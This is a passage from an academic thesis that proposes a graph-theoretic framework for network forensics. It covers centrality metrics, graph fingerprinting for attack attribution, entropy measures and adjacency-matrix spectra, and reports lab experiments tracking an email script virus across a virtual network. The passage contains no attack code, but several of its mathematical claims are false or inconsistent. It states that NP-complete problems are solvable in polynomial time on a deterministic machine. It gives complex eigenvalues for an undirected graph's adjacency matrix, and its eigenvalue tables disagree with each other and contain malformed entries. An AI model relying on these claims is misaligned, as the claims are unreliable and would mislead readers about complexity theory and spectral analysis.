forensic analysis. In this case identifying any walks, paths, trails, or Eulerian trails will provide 

insight into how the virus spreads.  

      The next step in the descriptive phase of the current methodology is to create appropriate 

matrices for the network incident. This should include at least an adjacency matrix and a 

degree matrix. It can also include the incidence matrix and the Laplacian matrix. These 

matrices by themselves can yield valuable forensic data. The adjacency matrix can provide 
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insight into the interconnectedness of the network in question. The degree matrix provides 

related information. These matrices also form the basis for more advanced applications of 

graph theory. 

4.1.2 Network Fingerprinting 

        Fingerprinting is widely used in traditional crime scene forensics (Lee, et al., 2017; 

Valsesia, et al., 2015). Fingerprinting in traditional crime scene investigations, a given number 

of points are matched to indicate a match. There is a need for a similar technique for network 

forensics. This current research describes such a technique for network forensics and tests the 

technique. 

 Using graph theory to perform network attack fingerprinting was previously published as 

part of the current research (Easttom & Adda, 2020b). When a network incident has been 

analyzed using graph theory, that information can also be applied to attack attribution. This 

phase of application of graph theory requires the comparison of the graph for the current 

network incident, to one or more graphs from incidents where the threat actor is known. The 

goal is to determine with mathematical rigor, the degree of similarity between the current 

attacks and known attacks. This is an effective method for accomplishing attack attribution. 

       In this phase the forensic analyst will need to examine graph isomorphism and both strong 

and weak homomorphisms. Even two attacks executed by the same threat actor using the same 

attack vector may not be isomorphic. The differences in the attack target alone could prevent a 

true isomorphism. The goal is to first determine if there is an isomorphism. If there is no, then 

determine if there is a strong or weak homomorphism. This is most effectively done if the 

graph is only of the affected region of the networks, rather than the entire networks. If the 

entire networks are graphed, then the differences in the networks themselves may prevent 

accurate fingerprinting.  

 The next area to explore, when comparing two attacks, is to consider induced subgraphs. 

In general, terms an induced subgraph is formed form a subset of the vertices of another graph 
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with the edges connecting the vertices in that subset. Put more formally if G = (V, E) and S ⊂ 

V of G, then a graph H whose vertex set is S, and which includes all of the edges that have both 

endpoints in S is an induced subset of G (Deo, 2017). Induced subgraphs are important in 

examining network intrusions. If one treats the affected devices as an induced subset of the 

network graph, one can compare the induced subset from another attack to analyze similarities 

in attack vectors, targets, and other aspects of the incident. There is existing work on 

comparing induced subgraphs (Dehmer & Emmert-Streib, 2014), but this technique has not 

previously been applied to network forensics. This is referred to as the maximum common 

subgraph (MCS).  

A flow chart of the process is shown in figure 8. 

 

Figure 8 Network Fingerprint Flowchart 

      The maximum common subgraph problem has been shown to be a difficult problem to 

solve. However, it is believed to be an NP-complete problem. This means that it can be solved 

in polynomial time by a deterministic Turing machine (Li, et al., 2018). In many cases it is 

reduced to simply the maximum clique (Quer, Marcelli, & Squillero, 2020). For the purposes 
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of this current research, a backtracking maximum clique-detection algorithm is used 

(Duesbury, Holliday, & Willett, 2017). The actual algorithm is given in appendix E. 

 It is also advantageous to examine the neighborhood of any vertex that is identified as 

being relevant to the attack in question. A neighborhood of vertex v in a graph G is a subgraph 

of G induced by all vertices adjacent to v. It is clear that multiple induced subgraphs will be 

found by studying the neighborhood of vertices of interest in a given attack. 

 The process begins with creating a graph model of the two attacks. Then the graphs are 

analyzed to see if they are isomorphic or egamorphic. Either of which would be a strong 

indicator of identical threat actors using the same threat vector on similar target networks. 

Certainly, isomorphic graphs demonstrate that the exact same attack was used, with the same 

threat vector, on a substantially similar network topology. That could only occur with an 

identical attacker. Egamorphic graphs are not entirely identical as isomorphic graphs are but 

have enough overlap to clearly point to the same threat actor. Assuming that the induced 

graphs are neither isomorphic or egamorphic, the next portion of the analysis is to identify 

induced subgraphs that are homomorphic (even weakly homomorphic) and analyze those. 

Particular attention should be paid to the neighborhood induced graphs of key vertices in both 

attacks.  

 Of particular interest would be the state wherein the neighborhood induced subgraph of G 

is a covering graph of a neighborhood induced subgraph of H. A covering graph is a covering 

map from the vertex set of G to H. More formally, a covering map is a surjection and an 

isomorphism. It is even more relevant to comparing two attacks if the graphs are multigraphs. 

A covering graph of two induced sub-multigraphs is a strong indicator of identical threat actors 

and attack vectors.  

 Each induced subgraph that represents a homomorphism would be a point of match 

between the two attacks. This provides a method that is analogous to fingerprints. In fingerprint 
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analysis, points of similarity are identified. The more matching points between fingerprints, the 

strong the identification is considered to be.  

 The strength of the relationship in the induced subgraphs would be weighted, such that an 

isomorphism is weighted more than a weak homomorphism. A proposed weighting is shown in 

table 1. 

Table 1 Relationship Weighting 

Weight Relationship 

3 Isomorphism 

2 Strong homomorphism 

1 
Weak homomorphism/ 
egamorphism 

 

 It should be obvious that the weighting is relevant to the total size of the graph. If one has 

two graphs, each of only four vertices, three of which form an isomorphic subgraph yielding a 

very strong match. However, the same three vertices from each graph forming an isomorphic 

subgraph, when the entirety of each graph is 100 vertices, is not a very strong relationship. 

Therefore, the degree of similarity is calculated by the weight divided by the total number of 

vertices. This is shown in equation 17.   

𝜃 =
𝑤

𝑇𝑣
                     (17) 

 The degree of matching is represented by the theta symbol θ. The w represents total weight 

assigned to subgraphs multiplied by 2. This is done because each original graph contains an 

induced subgraph that is being compared to an induced subgraph in the other complete graph, 

thus the value of 2. The Vt are the total number of vertices in the two graphs. This is normally 

described as the combined order of the two graphs. This produces a number between 0 and 1, 

quantifying the similarity. Given the fact that networks can be very different, one would expect 

relatively low values for θ. Values even above 0.25 would be considered strong matches. 

      Network attack fingerprinting can also be facilitated by computing partial isomorphisms. 

The technique for calculating the partial isomorphism was described in chapter 3.1. As was 
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described in section 3.1, partial isomorphism are similar in function to matching fingerprints 

using a point system.  

4.1.3 Integrating Information Theory into Graph Theory 

    Other measures of similarity that were discussed in chapter 3 can also be utilized in graph 

fingerprinting. As one example the graph edit distance (GED) is easily calculated and provides 

a measure of similarity. Comparing graph spectra can provide yet another metric for the 

similarity of the two graphs. Utilizing multiple modalities helps establish the validity of the 

methodology being used (Baldwin, 2018). When multiple techniques provide substantially 

similar results, that is a strong indicator that the techniques are valid. 

     Integrating information theory into the incidence functions of graphs was previously 

published as part of the current research (Easttom, 2020a). The goal of incorporating 

information theory with graph theory is to provide a more robust modeling tool. In the current 

research, that is focused on applications in computer networks including computer network 

intrusions. However, this process can be applied to any system that involves information. 

     The issue is to expand on what is currently considered regarding incidence functions. All 

too often the incidence function is simply discussed as a connecting two vertices via an edge or 

arc (Goldreich, 2020; Han, et al., 2020; Marzuki, 2018). Expanding that definition to include 

the information flowing between two vertices adds detail to graphs that model any information 

related network. 

     When considering two network nodes, the connection between them is an information flow. 

Examining that flow is critical to fully understanding the network itself. The methods posited 

in this section are not mutually exclusive. Rather, they are a set of tools that can be utilized as 

needed in the specific situation. The various information theoretical formulas described in 

section 3.2 can be applied individually  or all of them may be applied. Which formulas and 

how many to apply is at the discretion of the forensic analyst. In the experimental section in 
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chapter 5, the use of Hartley, Shannon, min-entropy, and Rényi entropy will be utilized. The 

Lovász number is not being applied in this current research but is discussed in chapter 6. 

4.1.4 Integrating Spectral Graph Theory 

     Integrating spectral graph theory into network forensics was previously published as part of 

this current research (Easttom & Adda, 2021). The methodology being described is to calculate 

the spectra of the adjacency matrix of a computer virus spreading through a network. It is 

possible to either calculate the graph spectrum or the Laplace spectra of a graph, as was 

discussed in the review of literature. Both can provide important information about the spread 

of a virus across a computer network. 

     The focus of the current research is to use the adjacency matrix to calculate the spectra of 

the graph as the virus spreads. The eigenvalues of the adjacency matrix is calculated at points 

in the virus spread. This provides insight into how the virus spread. Such information can be 

useful in network forensics, or in intrusion detection systems.  

     Simply examining the adjacency matrix, itself can provide insight into the nature of the 

virus spread (Yang, Yang, & Wu, 2017). The adjacency matrix can be used to demonstrate 

how a virus spreads across a network. Furthermore, changes in the adjacency matrix can 

quantify how rapidly the virus spreads. However, the current methodology will examine the 

spectrum of those adjacency matrices to derive even more information. The process is designed 

to add additional information in the analysis of a graph of a network intrusion. 

     In order for a forensic analyst to understand what the spectrum of a graph means for the 

investigation; it is important to understand what a matrix is. While a matrix may appear to be 

simply an array of numbers, it is actually a linear transform. Eigenvectors change, by at most 

the eigenvalue, when a given matrix is applied to them. The formula is shown in equation 18. 

M(v) = λv                       (18) 

      There are many factors about a graph that are immediately clear from the graph spectrum. 

One such item is that the second smallest eigenvector can be used to partition the graph into 
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clusters, via spectral clustering. Spectral clustering is a technique for dimensionality reduction. 

This is not an issue with the graphs being used in chapter 5 of this current research. However, 

if the forensic examiner wishes to apply various data analytics techniques to graphs of very 

large networks, spectral clustering can be an important tool. 

     Another obvious fact that can easily be derived from the graphs spectrum is that if there are 

multiple instances of the same eigenvalue, this indicates the presence of multiple nodes with 

similar connectivity. Thus, repeated eigenvalues provide insight into the connectivity of the 

graph in question. Yet another easily determined fact based on the graphs spectrum is that the 

second smallest eigenvalue is a measure of the expansion of the graph. Given a random walk 

through a graph, the higher the second eigenvalue is, the faster on converges to a stationary 

distribution. 

     The largest eigenvalue is also sometimes referred to as the dominant eigenvalue. There are 

two facts that can be derived merely by identifying the largest eigenvalue of the graph matrix. 

The index of a network represented by a graph, is the largest eigenvalue of the matrix. The 

network index is also sometimes referred to as the spectral radius of a graph. When examining 

an undirected graph of a network, the corresponding eigenvector to the largest eigenvalue is the 

principal eigenvector of that network.  

     The spectrum of the adjacency matrix can also provide information regarding similarity of 

attacks. Two graphs are considered cospectral if the eigenvalues of their adjacency matrix are 

the same. This fact makes the eigenvalues yet another method for fingerprinting network 

attacks for attack attribution. It should be noted that cospectral graphs are not necessarily 

isomorphic, however isomorphic graphs will be cospectral. Thus, calculating the spectrum of a 

graph also provides another modality for testing for isomorphism. When two graphs are 

cospectral but not isomorphic, they are said to be cospectral mates. 
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       Calculating the spectrum of a graph also allows one to calculate the Hoffman-Delsarte 

inequality. Given a regular (i.e., same degree vertices) graph G with a smallest eigenvalue λmin, 

the independence number can be calculated with equation 19. 

𝛼𝐺 ≤
𝑛

1−
𝑘

𝜆𝑚𝑖𝑛

              (19) 

In equation 18, K is the degree of the vertices, n is the number of vertices and λmin is the 

smallest eigenvalue. This inequality provides the independence number for the graph. The 

independence number is an indicator of how independent the nodes in the graph are. 

     The Perron–Frobenius theorem dictates that the largest non-negative eigenvector provides a 

centrality measure for the node/vertex in question. The  Perron–Frobenius theorem concerns 

real square matrices with positive elements and asserts that such matrices have a unique largest 

real eigenvalue and that the corresponding eigen vector can be chosen to have strictly positive 

values. 

     The difference between the largest eigenvalue and the second largest eigenvalue of a d-

regular graph defines the spectral gap. There are a number of theories that related to the 

spectral gap. However, those are beyond the current research but will be mentioned in chapter 

6 regarding areas for future study. 

     There is additional information that can be derived from a graph’s spectrum, but that 

information is applicable only to specific graph applications, such as chemical graph theory. 

Chemical graph theory is outside the scope of this current research. However, an example of 

such applications is the Estrada index which is derived from a graph’s eigenvalues. The 

Estrada index is used in modeling protein folding. 

4.2 Complete Framework 

     The individual elements of this process have been described in the preceding sections of this 

chapter. However, one of the aspects of the current research is to provide a comprehensive 

framework for network forensics. As was mentioned earlier, an investigator can use those 
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elements that are appropriate for the particular investigation being conducted. The investigator 

may choose to only use those portions of this methodology that are needed in a particular 

investigation. The entire process can be described in very clear steps. Some of the steps are 

optional as they will not apply to all investigations. The steps in this framework are described 

here: 

Step 1: Create a graph of the network. This can be the entire network, or just the affected 

portion. That is a decision for the investigator. 

Step 2: Calculate metrics of centrality. This should at least be the center, diameter, and radius. 

However, if the investigator believes it is necessary, this may also include additional metrics 

such as local clustering coefficient and global clustering coefficient. 

Step 3: Calculate basic graph matrices including adjacency, incidence, and degree matrices. 

The investigator may optionally choose to also calculate the Laplacian matrix. 

Step 4: Calculate the spectrum of the graph. This will include the eigenvalues of the adjacency 

matrix. Beyond the basic spectrum, there are optional sub steps: 

Step 4(a): Calculate the graph spectrum at selective time intervals. 

Step 4(b): Use the graph spectrum as part of fingerprinting in step 6. 

Step 4(c): Calculate ancillary values such as the Cheeger inequality and Cheeger constant. 

Step 5: (Optional): Calculate information theoretic metrics: Some incident investigations will 

need to analyze the data flowing in the network. As one example, in a Denial of Service attack, 

the entire attack is often accomplished via a flood of data. However, in other investigations the 

nature of the data is not particularly important. If they investigator believes the data flow is 

important to the investigation, then there are information theoretic metrics that can be applied 

to the edges connecting nodes. These include the Shannon entropy, Lovász number, Hartley 

entropy, and Rényi entropy.  The investigator should use those metrics that will be most 

relevant to the specific investigation. 
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Step 6: (Optional): Perform fingerprinting. This is often done if there is another documented 

attack that the investigator believes may have similarities with the attack currently under 

investigation. By creating fingerprints of the two attacks, they can be compared to determine 

mathematically the probability of the two attacks having the same threat actor and/or threat 

vector. The fingerprinting process was detailed in section 4.1.2 and in figure 8. The entire 

framework process is shown in figure 9. 

 

 

Figure 9 Framework Process 

 

4.3 Conclusions 

     Chapter 4 outlined the methodology being proposed by this current research. As was 

discussed, several elements of this have already been subjected to peer review publication. All 

of these methods will be implemented in chapter 5 as experiments to determine the efficacy of 

the current method. 
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      Both mathematical proofs and existing research support the conclusion that the framework 

outlined in this study is applicable to networks of any size. In fact, one benefit of the current 

methodology is, at least in some cases, increased with larger networks. One of the issues 

discussed in chapter 2 was that of deciding which machines to image and analyze when 

performing network forensics on a large network. Some of the methods that are components of 

this framework will make those decisions both simpler and based in solid mathematics. Thus, it 

is not simply the case that the current framework can be applied to large scale networks, but 

that in some cases it provides more benefit in a large-scale network. 
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Chapter 5: Experimental Work 

     The methodology outlined in chapter 4 was subjected to multiple experiments. The results 

of those experiments are detailed in this chapter. Each experiment will utilize a different attack 

modality and implement different aspects of the proposed methodology. The goal in 

performing these experiments is twofold. The first goal is to validate the efficacy of the 

methodology. The second goal is to provide a practical example of how to implement these 

techniques so that forensic practitioners can have a guide to utilizing the methodology. 

     For these experiments, a virtual environment is used. The environment is reset after each 

experiment, so the next experiment can be conducted on a clean virtual network. By using the 

same network topology and structure for each experiments, the results are comparable. This 

provides additional validation for the study. The nodes are described in table 2.  

Table 2 Virtual Environment 

Vertex Description 

A 

Kali Linux attack virtual 

machine with 2 Gb RAM. 

B 
Wndows 10 virtual machine 
with 2 GB RAM 

C 

Wndows 10 virtual machine 

with 2 GB RAM 

D 
Wndows 10 virtual machine 
with 2 GB RAM 

E 

Ubuntu Linux virtual machine 

with 1 GB RAM 

F 

Windows 7 virtual machine with 

1 GB RAM 

G 

Windows 2016 Server with 8 

GB 

H 
Samsung Galaxy S7 Mobile 
phone running Android 8.0 

 

    All of the virtual machines are connected wirelessly. Two nodes (F and G) have only limited 

direct connections. The other nodes are all interconnected. Therefore, graphing the nodes in the 

network is shown in figure 10. 
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Figure 10 Experimental Virtual Environment 

      The selection of operating systems and topology was made to both simulate real world 

networks, and to provide a manageable test environment. If the test environment is too large, it 

is problematic to effectively analyze the network. It is also the case that when applied to real 

world incidents, the forensic examine will likely focus on a small subset of the network, the 

portion directly affected in the incident. It is not feasible for a forensic examiner to examine an 

entire large network. However, if there is not a diversity of operating systems and some variety 

in the topology, then the test environment does not represent a real-world network. Due to the 

nature of the network, the degree matrix is shown in Figure 11. 

 

Figure 11 Experimental Network Degree Matrix 

      

5.1 Virus Modeling Experiment 
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 This part of the current methodology was previously published as part of this ongoing 

study (Easttom, 2020a; Easttom & Adda, 2020). The first experiment is a virus being released 

into the network. This experiment was used to demonstrate the general descriptive graph theory 

techniques as well as the application of spectral graph theory. For the purposes of this 

experiment, a simple script virus was used. The virus would email itself to all the accounts on 

the network, and it was randomly determined which targets would open the script. The script is 

shown in appendix D. The reason for using random opening of the script is to simulate end 

users who may or may not open an attachment. If the script is opened, it creates an alert box 

indicating that machine is infected, then attempts to send itself out again from that machine. 

This can lead to machines being infected multiple times, which is an issue with real world 

viruses.  

5.1.1 Virus Experiment 1 

      The virus began at node A. The time of the infection of node A is denoted as T=0. Every 5 

minutes the various devices were checked to determine if that given node was yet infected.  

The infected nodes are shown at specific times in table 3. 

Table 3 Virus Infection Spread 

Node T=5 T=10 T=15 

A Infected Infected Infected 

B Infected Infected Infected 

C Infected Infected Infected 

D  Infected Infected 

E Infected Infected Infected 

F  Infected Infected 

G    

H   Infected 

 

     There is a great deal of flexibility in choosing the timer intervals. The actual available data 

will establish the only limits on the time intervals the investigator can use. By documenting the 

virus spread at intervals the investigator can calculate the rate of spread. The virus spread 

intervals also provide insight into how the virus is spreading, which nodes are most easily 

infected, and which nodes are more resistant. In this instance, 5-minute intervals were chosen 
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based on the total size of the network. Given the small size of the test network, smaller 

intervals may not have shown any change and larger intervals may have simply shown the final 

state of the virus spread. 

     The first phase of the application of graph theory is to calculate measures of central 

tendency for the network at the end of the infection. Thus, the graph was drawn with only the 

infected nodes at t=15. That is shown in figure 12. 

 

Figure 12 Graph of Infected Nodes 

       Note that the graph in figure 12 is an undirected graph. This analysis could also be done 

viewing the graph as a directed graph, showing how the virus moved from machine to 

machine. That was intentionally not done. The goal of these experiment is to match as closely 

as possible, real-world incident conditions. In a real-world incident, the forensic analyst would 

not be able to determine the exact path of virus spread without extensive forensic examination 

of every infected machine. One of the benefits of applying graph theory to network forensics is 

to aid the forensic examiner in determining what machines should be imaged and analyzed. 

     In the graph in figure 12, no node has an eccentricity of more than 2. As an example, the 

distance from F to H is 2. The distance from C to H is also 2. As a final example the distance 

from F to B is 2. Therefore, this graph has multiple centers, in fact all the nodes are centers. 

Therefore, in this case the determination of graph centers does not provide additional insight 
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into the forensic analysis. The radius of this graph is 2 and the diameter is 3. When the radius 

and diameter are very close, they provide less analytical information.  

     It can also be advantageous to calculate the global clustering coefficient for the graph. This 

was defined in section 3.1 as the number of closed triplets divided by the number of all triplets. 

In the case of the graph at T=15 all nodes except H are part of closed triplets providing a 

clustering coefficient of 1. That indicates a high degree of clustering. This information is useful 

in analyzing the spread of the virus. Computer viruses spread from machine to machine, not 

unlike biological viruses spreading from biological host to biological hosts. Clusters provide 

information on how and when the virus spreads. Thus, clustering is an important part of the 

analysis. 

     It is also possible, simply using the data from table 3, to find forensically interesting 

information. At t=5, nodes B, C, and E were all infected. B and C are Windows 10 machines, 

whereas E is an Ubuntu Linux machine. This information indicates that the virus in question 

spreads equally rapidly to both Windows and Linux computers. At t=10 only two more nodes 

were infected, D and F, which are both Windows machines. Then at T=15 only one additional 

node was infected, H. H is an Android phone. Node G, A Windows 2016 server was not 

infected. 

     This provides information that a forensic examiner can utilize. It is likely that the additional 

security in Windows Server 2016 prevented the virus from reaching that machine. It is also 

likely that the Android phone being infected last was simply due to random chance. This brings 

us to phase 2, the application of spectral graph theory. 

     The adjacency matrix was generated, and the matrices spectrum calculated for each time 

t=5, t=10, t=15. Adjacency, in this application is defined as infected nodes that are adjacent. 
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Figure 13 Adjacency 

Matrix at T=5 

 

Figure 14 Adjacency 

Matrix at T=10 

 

Figure 15 Adjacency 

Matrix at T=15 

     Spectral graph theory begins with the calculation of eigenvalues of the adjacency matrix. To 

ensure the calculations were not in error, three separate online eigenvalue calculators were 

used: 

https://comnuan.com/cmnn01002/cmnn01002.php  

https://matrixcalc.org/en/vectors.html 

 https://www.arndt-bruenner.de/mathe/scripts/engl_eigenwert2.htm 

The eigenvalues at the times T = 5; T = 10; and T = 15 are shown in  table 4. 

Table 4 Eigenvalues of Virus Spread 

T = 5 T = 10 T = 15  

-1 -1 0  

3 4 4.2015  

-1 -1 0.5451  

-1 -1 -1  

0 -1 -1.7466  

0 0 -1  

0 0 -1  

0 0 0  

     The associated eigenvectors are given in table 5. As many eigenvalues are repeated in table 

4. 

Table 5 Eigenvalues and Eigenvectors of the virus adjacency matrix 

 eigenvalue eigenvector 

T = 5 λ1= 1 -0.8660, 0.2887, 0.2887, 0.0000, 0.2887, 0.0000, 0.0000, 0.0000 

 λ2= 3 0.5000, 0.5000, 0.5000, 0.0000, 0.5000, 0.0000, 0.0000, 0.0000 

 λ3 = -1 0.2170,-0.8628, 0.3229, 0.0000,0.3229, 0.0000, 0.0000,0.0000 

 λ4 = -1  0.0000,  0.0000,-0.7071, 0.0000, 0.7071, 0.0000,  0.0000, 0.0000 

 λ5 = 0 0.0000, 0.0000, 0.0000, 1.0000, 0.0000, 0.0000, 0.0000, 0.0000 

 λ6 = 0 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,1.0000, 0.0000, 0.0000 

 λ7 = 0 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,1.0000, 0.0000 

 λ8 = 0   0.0000,  0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,1.0000 

T=10 λ1 = -1   -0.8944, 0.2236,0.2236, 0.2236, 0.2236, 0.0000, 0.0000,0.0000 
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 λ2 = 4   0.4472,   0.4472, 0.4472, 0.4472, 0.4472, 0.0000, 0.0000, 0.0000 

 λ3 = 1   -0.1952, -0.4392, 0.8620, -0.1139,-0.1139,   0.0000, ,   0.0000, ,   0.0000 

 λ4 = -1 -0.1543, 0.8102,0.1243,-0.3901,-0.3901,0.0000, 0.0000,0.0000 

 λ5 = -1 -0.0932,-0.2097, -0.2097,-0.3650, 0.8776, 0.0000, 0.0000, 0.0000 

 λ6 = 0 0.0000, 0.0000, 0.0000, 0.0000,1/0000, 0.0000, 0.0000 

 λ7 = 0 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,1/0000, 0.0000 

 λ8 = 0 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,1.0000 

T=15 λ1 = 0 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 1.0000 

 λ2 =4.2015 0.4584, 0.4164, 0.4164,0.4584, 0.4164, 0.2182,0.0000,0.1091 

 λ3 = 0.5451 -0.2020, 0.2777,0.2777, -0.2020, 0.2777,-0.7413, 0.0000,-0.3707 

 λ4 = -1 0.0000,-0.8165, 0.4082,0.0000,0.4082,-0.0000,0.0000, -0.0000 

 λ5 = -1.7466 0.4717,-0.2518,-0.2518,0.4717,-0.2518,-0.5402,0.0000,-0.2701 

 λ6 = -1 -0.0000,0.2265, -0.7926, -0.0000,0.5661, 0.0000,0.0000, 0.0000 

 λ7 =-1 0.5774,0.0000,0.0000,-0.5774,0.0000, 0.0000,0.0000,-0.5774 

 λ8 = 0 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,1.0000, 0.0000 

 

     In section 4.1.4 the application of spectral graph theory was described in detail. This 

description included specific data that can be derived from the spectrum of a graph. As 

explained in 4.1.4, multiple instances of the same eigenvalue indicate the presence of multiple 

nodes with similar connectivity. Observing the final adjacency matrix, that of T=15, one can 

see there are 3 eigenvalues of -1. Noting the nodes with similar connectivity, the forensic 

analyst can focus on those nodes to determine their role in the expansion of the virus. When 

selecting specific machines for forensic imaging, these nodes are logical choices, due to their 

similar connectivity. 

     Section 4.1.44 also discussed the fact that the Perron–Frobenius theorem dictates that the 

largest non-negative eigenvector provides a centrality measure for the graph in question. Using 

This graphs largest eigenvalue was 4.2015, Perron-Frobenius states that this value is the 

spectral radius of the graph. The largest eigenvalue also gives an upper bound to the maximum 

degree of any vertex in the graph.  

     Section 4.1.4 also discussed the fact that the largest eigenvalue provides the spectral radius 

of the graph. The eigenvalue associated with node 2 (B) is the largest eigenvalue at times T=5; 

T=10; and T=15. This reinforces the centrality of this node. 

5.1.2 Virus Experiment 2 

     One of the most basic tenets of science is to repeat an experiment. Therefore, the virus 

infection experiment was repeated in order to validate the results. Given that the first 
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experiment utilized a random determination if a virus would be opened or not, it is expected 

that a second run of the experiment would not yield precisely the same spread pattern.  The 

virus again was introduced at node A, and the spread was measured at T = 5 (5 minutes), T = 

10 (10 minutes) and T = 15 (15 minutes). The results are shown in table 6. 

Table 6 Virus Infection Spread Experiment 2 

Node T=5 T=10 T=15 

A Infected Infected Infected 

B Infected Infected Infected 

C   Infected 

D Infected Infected Infected 

E Infected Infected Infected 

F  Infected Infected 

G Infected Infected Infected 

H   Infected 

 

      As with virus experiment 1, the first phase of the application of graph theory is to calculate 

measures of central tendency for the network at the end of the infection. Thus, the graph was 

drawn with only the infected nodes at t=15. That is shown in figure 16.     

 

Figure 16 Experiment 2 Infected Nodes 

     In this instance, at T = 15 all nodes were infected.  In the graph shown in figure 16, node H 

to G is an eccentricity of 3. However, there are still multiple centers as there were in the first 

experiment. Nodes A, B, C, D, E, and F all have eccentricities of 2, and each are centers of the 

graph.  
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 The adjacency matrix for experiment 2 and t = 5, t = 10, and t = 15 are shown in figures 17, 

18, and 19. 

 

Figure 17 Experiment 2 

Adjacency Matrix at T = 5 

 

Figure 18 Experiment 2 

Adjacency Matrix at T = 10 

 

Figure 19 Experiment 2 

Adjacency Matrix at T = 15 

     As with experiment 1, eigenvalues and eigenvectors were calculated using three separate 

online calculators to ensure accuracy of the measurements. The three online calculators are the 

same as used in experiment 1: 

https://comnuan.com/cmnn01002/cmnn01002.php  

https://matrixcalc.org/en/vectors.html 

 https://www.arndt-bruenner.de/mathe/scripts/engl_eigenwert2.htm 

The eigenvalues at the times T = 5; T = 10; and T = 15 are shown in  table 7. 

Table 7 Eigenvalues Experiment 2 

 T = 5 T = 10 T = 15 

A 3.1642 3.4664 0.0000 

B 0.2271 0.0341+0.4322*i 4.5479 

C -1.0000 0.0341-0.4322*i 1.0000 

D -1.3914 -1.5347 -1.6816 

E -1.0000 -1.0000 -0.1947 

F 0.0000 -1.0000 -1.0000 

G 0.0000 0.0000 -1.0000 

H 0.0000 0.0000 0.6716 

¶  

     Note that two of the eigenvalues are complex numbers. This is not uncommon. Calculating 

the eigenvalues of matrices frequently yields complex results. The eigenvectors along with the 

eigenvalues are shown in table 8. 
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Table 8 Eigenvalues and Eigenvectors for Experiment 2 

 eigenvalue eigenvector 

T = 5 λ1= 3.1642 0.5125,0.5125,0.0000,0.4736,0.4736,0.0000,0.1620,0.0000 

 λ2= 0.2271 -0.1696,-0.1696,0.0000,0.4388,0.4388,0.0000,-0.7466,0.0000 

 λ3 = -1.0000 -0.8165,-0.0000,0.0000,0.4082,0.4082,0.0000,0.0000,0.0000 

 λ4 = -1.3914 0.5054,0.5054,0.0000,-0.4227,-0.4227, 0.0000,-0.3632, 0.0000 

 λ5 = -1.0000 0.0000,-0.0000,0.0000,-0.7071,0.7071,0.0000,-0.0000,0.0000 

 λ6 = 0 0.0000,0.0000,1.0000,0.0000,0.0000,0.0000,0.0000, 0.0000 

 λ7 = 0 0.0000, 0.0000,0.0000,0.0000,0.0000,1.0000,0.0000,0.0000 

 λ8 = 0 0.0000,0.0000,0.0000,0.0000,0.0000,0.0000,0.0000,1.0000 

T=10 3.4664 0.5187,0.4497,0.0000,0.4897,0.4206,0.3084,0.1297,0.0000 

 λ2 = 0.0341+0.4322*i 0.2731-0.0566*i, -0.1636+0.1259*i, 0.0000+0.0000*i, -0.0781-0.2957*i, -0.5148-0.1132*i, 
0.5305+0.0000*i, 0.2598+0.3991*i, 0.0000+0.0000*i 

 λ3 = 0.0341-0.4322*i 0.2731+0.0566*i,-0.1636-0.1259*i,0.0000+0.0000*i,-0.0781+0.2957*i,-

0.5148+0.1132*i,0.5305+0.0000*i,0.2598-0.3991*i,0.0000+0.0000*i 

 λ4 = -1.5347 -0.1724,-0.6220,0.0000,0.5856,0.1360,-0.2404,0.4053,0.0000 

 λ5 = -1.0000 0.7071,0.0000,0.0000,-0.0000,-0.7071,-0.0000,-0.0000,0.0000 

 λ6 = -1.0000 -0.7071,0.0000,0.0000,-0.0000,0.7071,-0.0000,-0.0000,0.0000 

 λ7 = -1.0000 0.0000, 0.0000,1.0000,0.0000,0.0000,0.0000,0.0000,0.0000 

 λ8 = 0.0000 0.0000, 0.0000,0.0000,0.0000,0.0000,0.0000,0.0000, 1.0000 

T=15 λ1 = 0.0000 0.0000,0.0000,0.0000,0.0000,0.0000,0.0000,0.0000,1.0000 

 λ2 =4.5479 -0.4502,-0.4116,-0.4718,-0.4254,-0.3868,-0.2143,-0.1376,-0.0990 

 λ3 =  1.0000 -0.2582,0.0000,0.5164,0.0000,0.2582,-0.5164,-0.5164,-0.2582 

 λ4 = -1.6816 -0.2203,-0.5860,0.0579,0.5084,0.1427,-0.2492,0.4967,0.1310 

 λ5 = -0.1947 0.1254,-0.2493,-0.3527,0.4601,0.0853,0.3018,-0.2695,-0.6442 

 λ6 = -1.0000 -0.5774,0.0000,-0.0000,-0.0000,0.5774,-0.0000,-0.0000,0.5774 

 λ7 = -1.0000 0.5774,0.0000,-0.0000,-0.0000,-0.5774,-0.0000,-0.0000,-0.5774 

 λ8 = 0.6716 -0.3576,0.2811,-0.2957,-0.0340,0.6047,-0.2098,-0.1063,0.5324 

 

    As was discussed in section 5.1.1, multiple instances of the same eigenvalue indicate the 

presence of multiple nodes with similar connectivity. Observing the final adjacency matrix, 

that of T=15, there are two nodes with an eigenvalue of -1.  Also recall that the Perron–

Frobenius theorem states that the largest non-negative eigenvector provides a centrality 

measure for the node/vertex in question. At T=15 the largest eigenvalue is node B with λ2 

=4.5479. It is interesting to note that at T = 5 and T = 10, node A had the highest eigenvalue. 

This indicates some shift in centrality.  At T = 15, two additional nodes were infected, nodes C 

and F. This indicates an examination of the logs for nodes A and B. Examining those logs it 

was found that node A was the primary source of infection at T = 5. Nodes A and B were both 

infecting other nodes at time T = 10, then at T = 15, node B infected both Nodes C and H. The 

graph shows node B not directly connected to node H. However, the virus infection is via 

email, therefore there need not be a direct connection. 

     Recall that the largest eigenvalue also denotes the spectral radius for the graph. From the 

data collected from the graph spectrum, it is clear that the forensic analyst would be advised to 
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image and carefully examine nodes A and B.  In section 2.3, the difficulty in imaging large 

numbers of machines was discussed. There is a need to reduce the set of machines that are 

imaged and individually analyzed. These two experiments, along with the previously published 

experiments (Easttom, 2020a; Easttom & Adda, 2020), demonstrate that spectral graph theory 

provides a mathematically sound method of determining which machines to image. 

5.1.3 Comparing the Virus Experiments  

     Both experiments involved the same threat vector, in fact the same script virus, and mode of 

spread, that of email. Using the same attack and same attack vector denotes a level of similarity 

that indicates the same threat actor may be responsible for both attacks. Consequently, 

comparing the two attacks using methods described in section 4.1 is warranted. 

     The first method applied was the graph edit distance (GED). This methodology determines 

